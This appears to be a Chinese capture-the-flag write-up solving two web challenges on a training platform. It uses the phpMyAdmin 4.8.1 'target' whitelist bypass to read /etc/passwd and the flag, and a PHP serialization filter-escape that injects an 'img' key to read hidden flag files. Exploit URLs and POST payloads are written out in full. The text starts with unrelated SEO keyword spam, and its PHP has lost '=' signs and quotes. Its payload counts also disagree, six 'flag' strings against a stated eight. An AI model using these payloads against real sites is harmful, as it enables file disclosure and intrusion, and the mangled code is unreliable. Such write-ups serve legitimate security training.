校园二手网站源码,有没有专门做平铺素材的网站,网站建设 营业执照 经营范围,网站备案安全责任书是谁盖章第20天
Web
[GWCTF 2019]我有一个数据库 打开网站发现乱码信息#xff08;查看其他题解发现显示的是#xff1a;我有一个数据库#xff0c;但里面什么也没有~ 不信你找#xff09;
但也不是明显信息#xff0c;通过dirsearch扫描得到robots.txt#xff0c;然后在里面得…第20天
Web
[GWCTF 2019]我有一个数据库 打开网站发现乱码信息查看其他题解发现显示的是我有一个数据库但里面什么也没有~ 不信你找
但也不是明显信息通过dirsearch扫描得到robots.txt然后在里面得到了
User-agent: *
Disallow: phpinfo.php访问phpinfo.php
不过这里我没有找到什么有用的信息这里根据题解访问/phpmyadmin 看到phpMyAdmin版本是4.8.1这个版本的index.php文件里有一个漏洞可以读取文件点击这篇文章详细了解原理
然后构造?targetpdf_pages.php%253f/../../../../../../../../etc/passwd
源码内对URL进行了?分割在分割前对参数进行了urldecode且如果?号前面的文件名称在白名单里就可以绕过这样我们令targetdb_sql.phpdb_sql.php是白名单里其中一个二是在传参使对?进行二次URL编码即?变为%253f
最后构造完整的URL http://ad1cc1dc-3db1-48a8-8c40-8957b62c6e8a.node5.buuoj.cn:81/phpmyadmin/index.php?targetdb_sql.php%253f/…/…/…/…/…/…/…/…/flag [安洵杯 2019]easy_serialize_php 打开网站点击看到源代码
?php$function $_GET[f]; //通过GET方法对f参数进行传值function filter($img){ //一个过滤函数过滤$img参数的php后缀等$filter_arr array(php,flag,php5,php4,fl1g);$filter /.implode(|,$filter_arr)./i;return preg_replace($filter,,$img);
}if($_SESSION){unset($_SESSION); //销毁原$_SESSION如果设置了的话
}$_SESSION[user] guest;
$_SESSION[function] $function;extract($_POST); /* 该函数使用数组键名作为变量名使用数组键值作为变量值。 即extract($_POST);可以接受Post请求同时覆盖原值 */if(!$function){echo a hrefindex.php?fhighlight_filesource_code/a;
}if(!$_GET[img_path]){$_SESSION[img] base64_encode(guest_img.png);
}else{$_SESSION[img] sha1(base64_encode($_GET[img_path]));
}$serialize_info filter(serialize($_SESSION)); //先对$_SESSION进行一次序列化再对序列化结果进行一次过滤if($function highlight_file){highlight_file(index.php);
}else if($function phpinfo){eval(phpinfo();); //maybe you can find something in here!
}else if($function show_image){ //我们要执行到这里$userinfo unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo[img]));
}根据明显提示构造URL/index.php?fphpinfo 在里面发现了预包含文件 d0g3_f1ag.php
php.ini 配置文件中设置了 auto_append_file 指令后PHP 将自动将指定文件的内容附加到服务器上运行的每个 PHP 脚本的输出中。这提供了一种便捷的方式确保某些代码或功能被一致地包含在所有 PHP 脚本中而无需单独修改每个脚本即预包含。
猜测后面需要读取到这个文件接下来就是构造URL部分的内容
/index.php?fshow_image为了执行
echo file_get_contents(base64_decode($userinfo[img]));接着构造POST方法里面的部分 这里我们要让$userinfo[img]的值是ZDBnM19mMWFnLnBocAd0g3_f1ag.php的Base64编码传进去后会被解码这样才能读取d0g3_f1ag.php文件
但是因为这段代码让我们不管设没设置img_path都会将$_SESSION[img]也就是后面的$userinfo[img]改成我们不想要的值
if(!$_GET[img_path]){$_SESSION[img] base64_encode(guest_img.png);
}else{$_SESSION[img] sha1(base64_encode($_GET[img_path]));
}但是$userinfo unserialize($serialize_info);这句代码又让我们看到了希望它正好在echo命令的上面一行我们考虑对$serialize_info进行反序列化后会包含img : ZDBnM19mMWFnLnBocA
这里来到了$serialize_info filter(serialize($_SESSION));它首先会对传进来的$_SESSION进行序列化然后过滤参数
直接给出POST部分的内容 _SESSION[user]flagflagflagflagflagflag_SESSION[function]a;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA”;s:2:“dd”;s:1:“a”;}; 这里user的值也就是那8个flag总长度为24是为了让PHP往后读取合适的24个长度而function里面的具体值是我们精心构造的
但是经过网站序列化加过滤得到的是 a:2:{s:4:“user”;s:24:“”;s:8:“function”;s:59:“a”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA”;s:2:“dd”;s:1:“a”;};} 这里主要是s:4:user;s:24 意思是user这个键的值长度应该是24的但是可以看到后面跟的是长度是0那么PHP就不认这个它认;s:8:function;s:59:a;s:3:刚好长度是24然后左右两边也有引号括着的那么接着就读img这个键这个键正常读。后面还有一个dd键是为了满足三个默认参数的要求的
也就是说经过这么一弄function这个键没了只有user和img以及dd了
然后在读到的d0g3_f1ag.php注释里看到了新的提示文件d0g3_fllllllag 将以上Payload的对应值改成L2QwZzNfZmxsbGxsbGFn/d0g3_fllllllag对应的Base64编码注意要加斜杠 即 _SESSION[user]flagflagflagflagflagflag_SESSION[function]a;s:3:“img”;s:20:“L2QwZzNfZmxsbGxsbGFn”;s:2:“dd”;s:1:“a”;};